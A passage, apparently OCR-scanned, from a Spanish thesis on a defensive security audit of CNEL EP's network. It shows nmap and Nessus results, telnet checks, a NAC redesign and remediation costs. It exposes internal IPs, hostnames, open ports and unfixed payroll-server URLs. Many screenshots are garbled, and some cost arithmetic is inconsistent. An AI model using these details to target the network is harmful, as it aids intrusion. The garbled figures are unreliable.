debe de identificar la localidad Edificio Agencia o Subestacion, el switch

y puerto.
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j Usuarios y equipos de Active Directory
Archive  Accign Ver  Ayuda

«s| @ 0 XEd=HEaETIR

] Usuarios y equipos de Active Dit| | Nombre Tipo
F gﬂ COHSUItTS gl.;alrdacllas s_-, Diana Elizabeth Caicedo Benitez Usua
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[ [ Computers gE Copiar... Usua
P % ;ESTCE:LEE:N E.’ E Agregar a un grupo... Usua
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. & Zona Norte '5 E Deshabilitar cuenta Usua
4 2] ZonaSur 5 E Restablecer contrasena... Usua
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i:‘ Eomputzdo;es . % E Abrir la pdgina principal 3:::
’ % Guentas B semie 3) £ Enviar correo Usua

& |2] Grupos

i [Z] Portatiles 3) E Todas las tareas » Usua
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B [E] VIPS ,5 E Cambiar nombre Usua
5 E . Usua
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,!, E Ayuda Usua
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Figura 5.17: Bloqueo de un usuario en el Directorio Activo
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ACL Megotiation:  @Enable C)Disable
Qos Duplex ®@Fu Half
IP Routing _ : (1000Mbi/s -
. - 9216 (1536~10240, Default 9216 )
Security | Franklin Olvers|
Tools
Description:
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Figura 5.18: Bloqueo logico de interface de red
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5.4. Evaluar la infraestructura de red y medidas defensivas.

Una vez corregidas las wulnerabilidades detectadas inicialmente, se

vuelve a ejecutar los test para verificar que hayan sido mitigadas.

5.4.1. Firewall
Debido que a las wulnerabilidades encontradas en los puertos ftp,

telnet y web, se procedié a deshabilitar estos servicios, tal como

se muestra en las pruebas elaboradas por el nmap y nessus

L VUL Gl

Archivo Editar Ver Buscar Terminal Ayuda

i~# nmap -sT &

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-21 11:06 ECT
Nmap scan report for 172.19.192.50

Host is up (0.028s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

1666/tcp filtered netview-aix-6

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
i~ [ ]

Figura 5.19: nmap muestra el puerto filtrado en el Firewall

Summary
Critical High Medium Low Info Total
0 0 2 2
Details
Severity Plugin id Name

10287 Traceroute Information

_ 19506 Messus Scan Information

Figura 5.20: nessus no muestra vulnerabilidades en el Firewalll
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C:Userssjose.pacheco>ping 17200 .@2.08

m/| s

Haciendo ping a 192.80. a

Respuesta desde 10200, .La: TTL=255
Respuesta desde 1712 . 00.10 7.1 8: TL=255
Respuesta desde 1] 2.0, M H i TTL=255
Respuesta desde 102.0 . 08: bytes=32 tiempo=18ms TTL=255

con 32 bhytes de datos:
BAm=

Estadisticas de ping para 172.19.192.5@:
Paguetes: enviados = 4. recibidos = 4, perdidos = 8
(@x perdidos).,

Tiempos aproximados de ida vy vuelta en milisegundos:
Minimo = 17ms. Maximo = 2Bms, Media = 18ms

C:Userssjose.pacheco>telnet 172.19.192.58
Conectdndose a 172.19.192.58.._.No se puede abrir la conexidn al host. en puerto I
23: Error en la conexidn

C:Userssjose.pacheco>telnet 172.19.192.58 8@
Conectdndose a 172.19.192.58.._.No se puede abrir la conexidn al host. en puerto
88: Error en la conexidn

C:Userssjose.pacheco?

Figura 5.21: Telnet deshabilitado en el Firewall

5.4.2. Switch de CORE
El servicio http se considera seguro debido que genera patrones
de codigos al azar. El servicio telnet tal como se muestra en la

siguiente figura, se mantiene los accesos consolay el http

Archivo Editar Ver Buscar Terminal Ayuda
~# nmap -sT 102.

Starting Nmap 6.49BETA4 ( https://mnmap.org ) at 2015-11-19 22:36 ECT
Nmap scan report for 172.19.192.1

Host is up (0.030s latency) .

Not shown: 999 closed ports

PORT  STATE SERVICE

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds
~# i

Figura 5.22: nmap solo muestra el puerto 80 en el SW CORE
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Summary
Critical High Medium Low Info Total
0 0 9 9
Details
Severity Plugin id Name

10107 HTTP Server Type and Version

10114 ICMP Timestamp Request Remote Date Disdosure
10287 Traceroute Information

11219 Nessus SYM scanner

5 05 dentification

19306 MNessus Scan Information

22964 Senvice Detection

24260 HyperText Transfer Protocol (HTTP) Information

w0
]

45590 Commen Flatform Enumeration (CPE)

Figura 5.23: nessus no detecta vulnerabilidades en el SW CORE

BEX Simbolo del sistema | =NAEN |

Microsoft Windows [Uersidn 6.1.76811
Copyright (c> 2089 Hicrosoft Corporation. Reservados todos los derechos.

C:~Userssjose.pacheco>ping 102,

Haciendo ping a 2.

Respuesta desde 1] 2.

Rezpuesta desde

Rezpuesta desde -al- B

Reszpuesta desde 2000000 bytes=32 tiempo=2ims TTL=253

Estadisticas de ping para 172.19.192.1:
Paquet enviados = 4, recibhidos = 4. perdidos = 8
(@ perdidos>.

Tiempos aproximados de ida y vuelta en milisegundos:
Minime = 2ims,. Maximo = 26ms, Media = 23Ims

C:~Users~jose.pacheco>telnet 172.19.192.1
Conectandose a 172.19.192.1...NHo se puede abrir la conexidn al host,. en puerto
3: Error en la conexidn

C:“Userssjose._pacheco>

Figura 5.24: telnet desactivado el servicio en el SW CORE

Servidor comercial prepago
El servidor comercial prepago, es un computador de escritorio
con sistema operativo Windows XP que actualmente no tiene

soporte del fabricante.
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Archivo Editar Ver Buscar Terminal Ayuda
=# nmap182.88. @R . 23

Starting Nmap 6.49BETA4 ( https://mmap.org ) at 2015-11-20 01:30 ECT
Nmap scan report for 172.19.192.23
Host is up (0.00028s latency) .
Not shown: 996 closed ports
PORT STATE SERVICE
filtered telnet
135/tcp filtered msrpc
211/tcp open 9l4c-g
3389/tcp filtered ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 84.61 seconds
- |

Figura 5.25: nmap puertos filtrados del SRV Comercial Prepago

Se corrigieron los problemas detectados en la fase anterior,
modificando el registro del sistema manualmente y parchando el

sistema operativo.

Se activo el cortafuego de Windows y se agrego la excepcion del

puerto 211. El resto de los puertos se los filtran en el firewall de

la UN.
Summary
Critical High Medium Low Info Total
0 0 10 10
Details
Severity Plugin Id Hame
10114 ICMP Timestamp Reguest Remote Date Disclosure
10287 Traceroute Information
108584 Metwork Time Protocol (NTF) Server Detection
11219 Messus SYM scanner
11936 05 Mdentification

Figura 5.26: nessus no detecta vulnerabilidades del Prepago

5.4.4. Servidor comercial
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El “Sistema Informéatico Comercial” (SICO), desarrollado sobre el
servidor IBM Power 700 con sistema operativo AS400, solo
requiere abrir el puerto TCP 23 para ejecutar la aplicacion como
usuario final, tanto los internos de CNEL EP que esta disponible
en la Intranet, como los externos contratista disponible en el
Internet. Los otros puertos son filtrados en el firewall, y estaran
abiertos solo para las direcciones IP de la Intranet con origen del
personal técnico de CNEL EP que realiza gestion administrativa
0 para el personal externo contratado para dar mantenimiento

especializado remoto como son lo partner autorizados de IBM

En la figura se puede observar que todos los puertos se
encuentran filtrados, excepto el puerto TCP 23. En la prueba

realizada por el nessus reflela que se ha mitigado las

vulnerabilidades clasificadas como medianas y bajas.

Summary
Critical High Medium Low Info Total
0 0 13 13
Details
Severity Plugin Id Name

10107 HTTF Server Type and Yersion

10114 ICMP Timestamp Regquest Remote Date Disclosure
Traceroute Information

Senvice Detection (HELP Request)

Messus SYM scanner

Figura 5.27: nessus no detecta vulnerabilidades del Comercial
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Archivo Editar Ver Buscar Terminal Ayuda
:~# nmap 182.1P.%.162

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-19 2
Nmap scan report for 172.30.1.162
Host is up (0.0093s latency).
Not shown: 980 closed ports
PORT STATE SERVICE
filtered ftp
open telnet
filtered smtp
filtered ldap
427/tcp filtered svrloc
515/tcp filtered printer
992/tcp filtered telnets
2001/tcp filtered dc
2002/tcp filtered globe
2003/tcp filtered finger
2004/tcp filtered mailbox
2005/tcp filtered deslogin
2006/tcp filtered invokator
2007/tcp filtered dectalk
2008/tcp filtered conf
3000/tcp filtered ppp
4111/tcp filtered xgrid
5544/tcp filtered unknown
5555/tcp filtered freeciv
5989/tcp filtered wbem-https

Figura 5.28: nmap muestra puertos filtrados del SRV Comercial

5.4.5. Servidor financiero

Debido que el servidor financiero se encuentra en el Data Center
corporativo y la responsabilidad del mantenimiento y soporte de
segundo nivel depende de la GTI, se solicité a través de correo
electronico al personal técnico de la Oficina Central que proceda
a corregir las wulnerabilidades detectadas en el anterior test de
vulnerabilidades. Esta test fue supervisado por la GSIy corroboré
lo indicado, tal como se muestra en el correo electronico

generado con fecha anexo 3. Ahora que se corri6 nuevamente el
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test se evidencia que se ha corregido todas las vulnerabilidades

medianas y bajas, exceptuando una mediana a través de filtrado

en el firewall, tal como se muestra en el mapeador de puertos

nmap. Los puertos que no son necesarios para su ejecucion son

filtrados en el servidor y solo se habilitado el puerto 80 para los

usuarios finales

Summary

Critical High

Details
Severity

Plugin Id
B5582
10107
10114
10150
10287
10394
10674
10736

10785

11011
11218
11422
11836
12053
19506

22964

Medium Low Info Total

Name

Web Application Potentially WVulnerable to Clickjacking

HTTP Server Type and Version

ICMP Timestamp Reguest Remote Date Disclosure

Windows NetBIOS f SMB Remote Host Information Disclosure
Traceroute Information

Microsoft Windows SMB Log In Possible

Microsoft SQL Server UDP Query Remate Version Disclosure
DCE Services Enumeration

Microsoft Windows SMB NativeLanManager Remote System Information
Disclosure

Micresoft Windows SMB Service Detection

Messus SYM scanner

Web Server Unconfigured - Default Install Page Present
OS5 ldentification

Host Fully Qualified Domain Name (FQDN) Resolution
Nessus Scan Information

Senice Deteclion

Figura 5.29: nessus vulnerabilidad mantenida en SRV Financiero
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Archivo Editar Ver Buscar Terminal Ayuda
~# nmap -sT 1F2.0 7.1.41

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-21 11:35 ECT
Nmap scan report for cgweb-app.cnel.gob.ec (172.30.1.41)
Host is up (0.0092s latency).
Not shown: 984 closed ports

PORT STATE SERVICE
80/tcp open http

135/tcp filtered msrpc

139/tcp open netbios-ssn
445/tcp filtered microsoft-ds
1433/tcp filtered ms-sql-s
1801/tcp open msmq

2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open msmq-mgmt
2383/tcp open ms-olap4
3389/tcp filtered ms-wbt-server
8080/tcp open http-proxy
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds
~# i

Figura 5.30: nmap estado de puertos del SVR Financiero

Servidor n6mina

Tal como se explicé en el servidor de ndmina, se solicitd al
personal técnico de la Oficina Central que proceda a corregir las
wulnerabilidades  detectadas en el anterior test de
wvulnerabilidades. Ahora que se corrid nuevamente el test se
evidencia que se no se han corregido las wulnerabilidades
medianas y bajas; esto representa un problema potencial que

sera tratado en la siguiente seccion.

Servidor directorio activo
Este servidor, al igual que los servidores Financiero y de Némina,

no se encuentran en la UN Los Rios, por lo que la solucién de las
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vulnerabilidades corresponde a un técnico encargado de replicar
el Directorio Activo para tres UN. De lo revisado se ha corregido
todas las vulnerabilidades de riesgo medio y bajo. El tratamiento
de las wulnerabilidades se las realizd directamente en el servidor

réplica, por lo que los puertos se mantienen abiertos.

Las wulnerabilidades fueron mitigadas en su totalidad, el servidor
réplica del Directorio Activo que atienden las peticiones de los
usuarios de las UN Milagro, Machala y Los Rios se ha

solucionado complemente.

Summary

Critical High Medium Low Info Total

0 : 0 2 25
Details

Severity Plugin Id Mame
_ 10150 Windows NetBIOS / SMB Remote Host Information Disclosure
_ 10287 Traceroute Information
_ 10394 Microsoft Windows SMB Log In Possible
_ 10736 DCE Senvices Enumeration
_ 10785 Microsoft Windows SME NativeLanManager Remote System Information

Disclosure

_ 10884 Natwork Time Protocol (NTF) Server Detaction
_ 11002 DNS Server Detection
_ 11011 Microsoft Windows SMB Service Detection
_ 11219 MNessus SYM scanner
_ 11936 O Identfication
_ 12053 Host Fully Qualified Domain Name (FQDN) Resolution
_ 19506 Nessus Scan Information

Figura 5.32: nmap puertos del SRV Directorio Activo

5.5. Identificar el mejor esquemade red que se debe de implementar.
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Debido al crecimiento de las UN, la administracion del parque
informatico se wvuelve cada vez inmanejable, por lo que se asigna
personal de tecnologia para realizar procesos de control manuales
como: actualizar parches del sistema operativo, validar y actualizar la
base de datos del antivirus Kaspersky, controlar el acceso a la red de
terminales autorizadas para consumir recursos de la Intranet o el

Internet.

Se implementa el NAC (Network Admission Control) que es un
framework de dispositivo final, donde deben de existir en cada UN los
siguientes servidores: WSUS, antivirus Kaspesrky, RADIUS, etc.
Ademas debe de existir redundancia en los enlaces de datos de las

agencias y subestaciones de cada UN

NAC 802.1X
\@
-~
RADIUS el ¥

ANTIVIRUS
@' @ VRRP VRRP @@ HSRP

SW-CORE
\@ O
- TELCONET
O~

FW-2

WSUS

NAD

PPOO

Figura 5.33: Nuevo esquema de red en la UN

Este nuevo esquema de seguridad disminuye el riesgo de suplantacion
de identidad, mejora la confidencialidad de la informacion al autenticar

terminales que sean de CNEL EP y los usuarios consten en el directorio
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activo previamente validado. También mejorara la disponibilidad de la
informacion, al garantizar que las terminales pasen el antivirus sin
detectar programas maliciosos y a su vez tengan la Ultima actualizaciéon
del sistema operativo. Si los terminales pasan los controles, entonces
tiene acceso a la red de datos, caso contrario se queda aislado en una

zona restringida, hasta que se actualicen las deficiencias detectadas.

De acuerdo al cronograma de trabajo planificado por la GTI, el proximo
afio se implementara este esquema de red corporativo, donde cada
terminal se le instalara un software cliente que valida su contenido
contra un servidor de dispositivo de acceso a la red NAC, que
posteriormente continua con la autenticacion 802.1x con el servidor

RADIUS.

AGENCIAS Y
SUBESTACIONES

X
288

o0

Figura 5.34: Enlaces redundantes en Agencias y Subestaciones
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5.6. Desarrollar el sistemas de alertas tempranas

La red WAN de CNEL EP est4 formada por sus oficinas distribuidas en
los edificios principales, agencias, subestaciones y otras UN, quienes
consumen servicios instalados en el data center local de cada UN y
servicios remotos instalados en el Data Center Corporativo. Los
servicios consumidos tienen una creciente demanda de uso, y al estar
alojados remotamente desde el punto de vista de las oficinas, es
necesario garantizar la disponibilidad de la informacion definidos por la
GSI en los acuerdos de niveles de servicios (SLA). Para ello es
necesario monitorear toda la cadena de elementos activos que
intervienen desde el servidor alojado en el data center, pasando por los
proveedores de servicios, hasta llegar el dispositivo del usuario final
alojado en la oficina, para que, en caso que exista un problema de
comunicacion de datos, pueda determinar cual es el elemento de falla,
genere una alerta, lo envie al técnico responsable y solucione el

problema en el menor tiempo posible.

Los elementos activos que se monitorean, pueden ser parametros de
rendimiento de un equipo tales como: porcentaje de uso del procesador,
memoria y disco duro; puede ser elementos de red como: direcciones
IP, interfaces de redes, velocidad de transmision de datos de entrada y
salida; puede ser servidores como: aplicaciones asociadas a los

protocolos de red abiertos TPC/UDP, base de datos, etc.
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Existen mdltiples herramientas informaticas que cumplen con este
propdsito, que en su esencia, utlizan el Protocolo Simple de
Administracion de Red SNMP. Entre los principales programas
tenemos: PRTG Network Monitor, ManageEngine OpManager, WhatUp

Gold, Nagios.

WhatsUp Gold es una herramienta informéatica que permite realizar
monitoreo unificado de redes, servidores y aplicaciones, cuenta con

varios productos:

e WhatUpGold Ipswitch: Monitoreo unificado de disponibilidad de redes

y servidores

e Application Performance Monitor Ipswitch: Busca y soluciona

problemas de aplicaciones

e Flow monitor de Ipswitch: Visibilidad del trafico de red y del uso de

ancho de banda

e WhatsVirtual de Ipswitch: Administre la salud, la disponibilidad vy el

rendimiento de los entornos virtuales.

e WhatsConnected de Ipswitch: Automatiza el descubrimiento de redes

y la asignacion de dependencias

WhatsConfigured de Ipswitch: Hace mas eficiente la configuracion y

la gestién de cambio.

WhatUsGold Ipswitch es la aplicacion adquirida por CNEL EP,

monitorea las redes cableadas e inalambricas, servidores fisicos y
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virtuales, aplicaciones empaquetadas y del cliente en un entorno de TI

de proveedores multiples.

Descubre su red: Descubrimiento de capa 2 y 3, identifica los
dispositivos de su red, como enrutadores, conmutadores, servidores
y mas.

Crea mapas de su red: Genera automaticamente mapas de red de
niveles 2 y 3 de la infraestructura central.

Monitorea la red: Monitorea continuamente la disponibilidad de los
enrutadores, conmutadores y firewall.

Alertas inteligentes: Suministra alertas en tiempo real de e-mail,
mensajes de textos.

Genera informes de red: Brinda un entorno de generacién de

reportes facil de personalizar.

El WhatsUpGold Ipswitch se encuentra instalado en el Data Center,

desde donde se monitoreo los enlaces de datos y servidores instalados

en cada UN, detallados de la siguiente manera:

Se monitorean los enlaces de datos contratados con los ISP, a
través de las direcciones IP de los routers en estado activos y
pasivos instalados en el Data Center y en los edificios principales,
agencias y subestaciones de las UN.

Se monitorea la seguridad perimetral de los equipos de CNEL EP, a

través de las direcciones IP de los firewall de en estado activo y
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pasivo, mas el swith de CORE con todas sus interfaces, que se
encuentren instalados en el Data Center y en todas las UN.
e Se monitorea todos los servidores instalados en el Data Center y en

las UN, a través de las direcciones IP.

Las alertas son notificaciones de correos electrénicos, dirigidas para los
técnicos responsables de cada UN, que informan la afectacién de un
servicio. Por ejemplo, se monitorea los router que conectan los edificios
principales, agencias y subestaciones, verificando si el enlace de datos
se encuentra caido o levantado. En otros casos informa que ha
sobrepasado el umbral de un componente relacionado al rendimiento
del equipo, como por ejemplo, porcentaje muy alto del consumo del
procesador, memoria o disco duro. Y por ultimo informa sobre posible
ataque de DoS monitoreando de las interfaces de red del switch de
CORE, generando alertas cuando sobrepasando el umbral definido

como maximo throughput

Estos son los pasos que debemos de realizar:

e Preparar los dispositivos a ser identificados y especificar las claves
gue se manipularan con el protocolo SNMT v1,2c

e Descubra los dispositivos y genere un mapa de red

e Configura y asigna acciones al monitoreo.

e Explora y personaliza reportes.
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Figura 5.35: WhatsUpGold Ipswitch adquirido por CNEL EP

Por ejemplo, llega una alerta de correo electronico, indicando que router
de la localidad “Subestacion Terminal Terrestre” lleva mas de dos
minutos en estado down. El contenido del correo se lo parametriza,
indicando el codigo del equipo, en este caso es el codigo que CNT lo
puede identificar llamado piloto, ademéas fecha y hora, tal como se

muestra en la siguiente figura.

Las alertas de correo electréonico provocadas por caidas del enlace o
saturacion del equipo, no podra ser recibida por el técnico, debido que
la red donde reside el técnico estd incomunicada. Por este motivo la

alerta debe ser por SMS
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Figura 5.36: Alerta correo generado por WhatsUpGold



CAPITULO 6

ANALISIS DE RESULTADOS.

6.1. Evaluar las amenazas mitigadas.

El nivel de los riesgos se reducird con la aplicacién de controles, de
modo que el riesgo residual se pueda revaluar como admisible. Se

analizan todos los activos y se evalla las consecuencias mitigadas.

6.1.1. Servidor Comercial

Mitigar la pérdida de la disponibilidad:

Actualmente se ha implementado enlaces redundantes de datos
en el Data Center, disminuyendo notablemente el riesgo de la

indisponibilidad del servicio.

Mitigar la pérdida de la integridad




151

Debido que es un servicio critico para la UN, todos los dias se
generan respaldos de seguridad, realizados por una persona
partir de las 20:00, que genera un respaldo de la data variable y
ademas ejecuta procesos de cierre y facturacién. Los fines de
semanas Yy fin de mes se realizan respaldos totales de toda la
base de datos. Los discos de respaldos estan codificados y

clasificados por fecha y tipos de respaldos.

En caso de existir fallos en la integridad de la data, se recupera
los datos restaurando la informacion almacenada por el take

backup de esa fecha.

Ademas para evitar corromper la data por accidente debido que
no existe un servidor de produccién, se mejora el conocimiento
de la estructura de la base de datos, socializando el diccionario
de datos y se genera una prohibicion para actualizar cualquier
dato de cualquier tabla. Este proceso lo realizar4 la empresa

proveedora del servicio.

También se levantd un ambiente de pruebas, que todavia esta

en fase de revision y aprobacion.

Mitigar la pérdida de la confidencialidad.
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Debido a denuncias verbales presentadas por usuarios finales
gue posteriormente fueron presentadas en la fiscalia, se asume
gue alguna empresa comercializadora del producto “cocinas de
induccién” habia conseguido de alguna manera no definida
todavia, informacién confidencial de los clientes activos que
registran sus consumos en la distribuidora, con el propoésito de
“vender” su producto, presionando a un sector de la poblacion
considera wulnerable, que si no adquiere el producto, se les
quitard ciertos beneficios que reciben por parte del gobierno.
Por este motivo para proteger la confidencialidad de la
informacion de estos clientes, en caso de solicitar una cocina de
induccion, no podran adquirirlas directamente, sino hasta que

CNEL EP verifique y actualice sus datos.

6.1.2. Servidor Comercial Prepago

Pérdida de la disponibilidad

La recaudacion del sistema comercial, se lo hace a través de las
ventanillas de la UN y también del sistema financiero. En las
oficinas del edificio principal que es donde realiza la mayor
recaudacion, existia problemas de energia, debido que el UPS
no soportaba la carga instalada de los pisos del data center local
y de recaudacion y atencion al cliente. Pero debido a la

remodelacion del edificio, se soluciond el problema de carga del
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UPS, porque se aislé el piso de recaudacion y atencion al cliente,

y se dotd de UPS locales.

Pérdida de la integridad

A pesar de implementar sistemas de respaldos de tape backup,
es necesario contar con un nuevo computador, que tenga
instalado el hardware generado de codigos. Este proyecto esta
considerado a implementarse el siguiente afio a partir del mes de

abril

Pérdida de la confidencialidad

La aplicacion cliente no puede ejecutarse en cualquier
computador, debido que el servidor prepago controla y valida las
direcciones IP de los clientes, previamente al registro y las
licencias adquiridas y autorizadas, que por sélo esta activa en un

solo computador a pesar que se han adquirido tres.

También se ha protegido la suplantacion del servidor prepago,
configurando en el switch de core la proteccion ARP=
IP+MAC+PUERTO. En el cliente se ha configurado el puerto
seguro y el segmento de red so6lo es valido en la VLANs de

recaudacion.

6.1.3. Servidor Financiero
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Pérdida de la disponibilidad

Debido a problemas presentados de rendimiento en el servidor
financiero se identificé que los recursos asignados de procesador
y memoria eran insuficientes, por lo que se decidié cambiar de un
ambiente virtual a un ambiente real, con contingencia de energia

UPS, mitigando significativamente el riesgo y el impacto.

Pérdida de la integridad

Debido al cambio de un ambiente virtual a un ambiente real, se
pudo implementar la redundancia en el almacenamiento RAID,
que permite corregir cualquier problema de almacenamiento,
estimando un crecimiento de almacenamiento de la data por
varios afios. Ademas se programa un plan de respaldos y
recuperacion de informacion basada en los backup por fechas,
con capacidad de reconstruccién afiadiendo las transacciones

generadas en los dias respaldados.

Pérdida de la confidencialidad

Para evitar capturar las credenciales de la aplicacion WEB a
través de ataques de hombre en medio, se habilité en los switch
de acceso la caracteristica de puerto seguro, que impide
configurar la tarjeta de red de un computador en modo
promiscuo, con capacidad de hacer ataques al switch por

envenenamiento ARP.
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6.1.4. Servidor Némina

Pérdida de la disponibilidad

Debido a problemas de rendimientos en el servidor de némina,
se determindé que los procesos de cierre de meses generado por
cada UN consumian los recursos del servidor, y debido a la
concurrencia de los procesos, no era factible satisfacer en un
solo servidor. Se procedi6 a crear servidores réplicas para evitar
la saturacién del mismo, pero se debia de solucionar el problema

utilizar la misma direccion IP para mas de un servidor.

Riesgo residual deseado

Se crea una configuracion en el servidor Apache llamada
VirtualHost que utiliza la direccion IP del servidor de némina, y
éste a su vez redirecciona el trafico hacia los otros servidores,

evitando la congestion del rendimiento y disminuyendo el riesgo

Pérdida de la integridad

Existié un caso que el Administrador de la Base de Datos (DBA)
de nébmina se aumento el sueldo, y fue detectado varios meses
después. Se evidencid la falla en el control para detectar la
ejecucion de estos procesos ilegales. Se mitiga esta
vulnerabilidad buscando los documentos de soportes que

justifiquen el incremento, en que caso de no existir, se procede a
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realizar el descuento mas la aplicacion del reglamento interno

gue puede llegar hasta la destitucion del cargo.

Pérdida de la confidencialidad

Las credenciales de los usuarios privilegiados pueden ser
capturadas en la red de datos, debido que viajan como textos
planos. Pero se mitiga este problema validando la direccién IP
como origen para realizar actualizaciones del programa. Para
ejecutar procesos criticos se valida el usuario y la direccion IP de

origen.

Servidor Directorio Activo

Pérdida de la disponibilidad

Las computadoras de las 10 UN no se validaran directamente al
servidor del Directorio Activo DA que esta en el Data Center, sino
gue dependiendo de la localizacién de cada UN, su autenticaran
lo derivaran a uno de los tres servidores réplicas del DA, y éstos

replicaran cualquier cambio en el principal.

Ademas se garantiza el ancho de banda desde la UN hasta el
servidor réplica del DA y viceversa, para evitar saturacion del

enlace de datos.

Pérdida de la confidencialidad
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Se mitiga la confidencialidad restringiendo la administracion de
los usuarios por UN y la administracion de la consola filtrado por

IP en el firewall

Para evitar que cualquier administrador de consola del directorio
activo pueda modificar los usuarios de otras UN, se restringe el

ambito de administracion solo a los usuarios de una UN.

Ademas la consola solo lo puede ejecutar en direccion IP

especificas, debido al filrado realizado por el firewall, que

restringe los puertos de administracion

Firewall

Pérdida de la disponibilidad

Al trabajar en modo redundante, con otro router firewall en
estado activo pasivo, con el mismo Gateway con con el protocolo
Virtual Router Redundancia Protocol (VRRP) se reduce el riesgo

practicamente a la mitad.

Switch de CORE

Pérdida de la disponibilidad

Se tienen dos switch configurados en stack que tiene los
siguientes beneficios: Permite escalar el tamafio, gestion

unificada y proporciona redundancia en las comunicaciones.
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6.2. Analizar los riegos mantenidos.

6.2.1.

6.2.2.

Mantener vulnerabilidades detectadas por nessus

De los siete activos evaluados, todos las wulnerabilidades
detectadas por NESSUS fueron mitigados exceptuando algunas
en el servidor de Nomina, que mantiene archivos de ejemplo de
la configuracion predeterminada y algunos link internos tampoco
fueron corregidos o eliminados. Esto se debe que la compaiiia
que da el soporte de segundo nivel tiene un contrato de
mantenimiento vigente, pero que se encuentra en fase de
implementacion de algunas mejoras, programadas a realizarse

hasta abril del afio 2016.

Pero para mitigar los link internos detectados por el scanner de
vulnerabilidades nessus se ha implementado bloqueos en el
firewall, que impiden que los usuarios finales puedan accesar a

los archivos contenidos en la ruta http://172.30.1.193/examples,

http://172.30.1.193/sample

Vulnerabilidades mantenidas de la matriz de riesgo

De los siete activos analizados, el servidor comercial prepago no

se pudo mitigar en este afio la pérdida de la integridad.


http://172.30.1.193/examples
http://172.30.1.193/sample
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Como se sabe es un computador de escritorio que no permite
mantener redundancia en el almacenamiento, debido al SO y
corre el riesgo de dafarse el disco duro que se encuentra en el
limite de su vida util. La solucion es cambiar el computador

integro, a ejecutarse a partir del mes de abril del proximo afio.

6.3. Evaluar el impacto administrativo las nuevas politicas de

seguridad.

Se ha definido tres politicas de seguridad que estd en andlisis de
aprobacién, gestionada por la Gerencia de la Seguridad de la
Informacién. En caso de aplicarse estas politicas, CNEL EP tendra que
adquirir equipamiento, reformar reglamentos y gestionar un programa
de capacitacion. Las politicas creadas son las siguientes:

e Disefiar politicas de control de acceso

e Definir politicas para evitar ataques de Denegacion de Servicios

e Politica de desvinculacion de personal

6.3.1. Politicas de control de acceso

Se propone autenticar todos los terminales como son
computadores desktop, computadores portatiles y dispositivos
moviles a través de un servidor RADIUS, y los switch de accesos
deben soportar esta funcionalidad, por lo que se deben de

adquirir para cubrir déficit y reemplazar los instalados en las
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agencias y subestaciones que no soportan este tipo de

autenticacion.

Ademas se propone cambiar la autenticacion desde “algo que el
usuario sabe” una clave, combinada con “algo que el usuario
tiene” un token, con certificados digitales que se van autenticar

en servidores regionales.

Este reto representa cambiar varios sistemas de informacion que
validan las credenciales con autenticacion tradicional, sumado
con el token. Los sistemas mas faciles de cambiar son las

aplicaciones WEB

Tabla 12: Costo para implementar politica de control de acceso

Equipo Cantidad| Costo | Subtotal
Switch de acceso Quidway 450  $900| $405,000
Token con certificados digitales 2,000 $66| $ 132,000
Recodificar  autenticacion  de 20 $20,000] $ 400,000
Sistemas de Informaciéon WEB
Servidores de autenticacion 3 $10,000, $30,000
zonales
TOTAL $967,000

Politicas para evitar ataques de Denegacion de Servicios

Cuando se activo las protecciones contra ataques flooding en el
firewall, se hicieron evidentes que existen software maliciosos
instalados en computadoras y dispositivos moviles, que no

pudieron ser detectados debido que varios factores:
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e El antivirus corporativo no detecta todos los software
maliciosos instalado en los terminales de CNEL EP, porque no
esta programado para detectar comportamientos

e No existe un software cliente instalado en los dispositivos
moviles personales que determine las aplicaciones maliciosas

instaladas.

El firewall procedié a bloquear inmediatamente la direccion IP de
los equipos que generan ataques de DoS, durante periodos de
tiempos de 20 min, hasta que se elimine el software malicioso
instalado en cada terminal. En el caso de los terminales de CNEL
EP, se procedi6 a re-instalar el SO y en caso de los dispositivo
moévil personales se sugirié restablecer su configuracién de

fabrica.

El impacto es administrativo tiene un costo de mano de obra,
focalizada para re-instalar el sistema operativo y programas en
general de todas las computadoras detectadas con programas
que generan ataques DoS, que fue un promedio del 10%, de las
3,000 terminales que existen CNEL EP, y asignando un técnico
pueda instalar 2 computadoras diariamente se requiere a 1,500
técnicos, que trabajan 22 dias mensuales, representa el sueldo

de 69 personas, a un sueldo de $1,000.
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El costo de esta implementacion representa $69,000

Politica de desvinculacion de personal

Debido que es la implementacion del reglamento definido por la
GS|, las desvinculaciones del personal esta asociada a la funcién
de bloqueos légicos de todos los sistemas de informacién, que se
los realiza a través del bloqueo de la cuenta del directorio activo,
bloque del token en el servidor de certificados digitales y bloqueo

del puerto fisico en switch de acceso o l6gico en Access point.

Es necesario dar una capacitacion integral de las nuevas
herramientas del firewall y configuracion de los switch de CORE
y acceso, con la finalidad de implementar el nuevo esquema de
red, por lo que en el plan de capacitacion anual, se requiere por
lo menos a dos técnicos por cada UN, durante dos semanas,
para recibir 80 horas de clases, con la finalidad de obtener una

certificacion.

Considerando $80 diarios de viaticos por persona, mas el local y
el instructor, se estima que se incurre en un gasto aproximado de

$27,000

Tabla 13: Costo por implementar politicas seguridad

Nro. Politica Costo

1 Politica de control de acceso $967,000

2 Politica para evitar atagues de DoS $69,000
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3 lPolitica desvinculacion de personal $27,000
TOTAL $1,063,000

6.4. Redisefar el esquema de red corporativo.

Debido que los principales servicios de red que utiliza cada UN se
encuentran centralizados en el Data Center Corporativo y en los
edificios principales, es necesario garantizar la disponibilidad de la
informacién desde cualquier oficina de CNEL EP, por lo que es
necesario implementar enlaces redundantes en las agencias vy

subestaciones que actualmente no lo tienen.

Como consecuencia de la seguridad de las redes de computadoras, el
Control de Acceso a la Red NAC tiene varios servidores, que debido a
la alta disponibilidad varios de ellos estaran en los data center de las
UN, tales como: RADIUS, servidor antivirus, servidor WSUS, servidor
DHCP, servidor de autenticacion WEB, servidores de Politicas de
seguridad. Otros servidores que forman parte de la solucién seguiran

alojados en el Data Center Corporativo como son: Directorio Activo.
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Directorio

Activo Servidores

DATA CENTER @ ? ? ?

N

UN MANABI
27

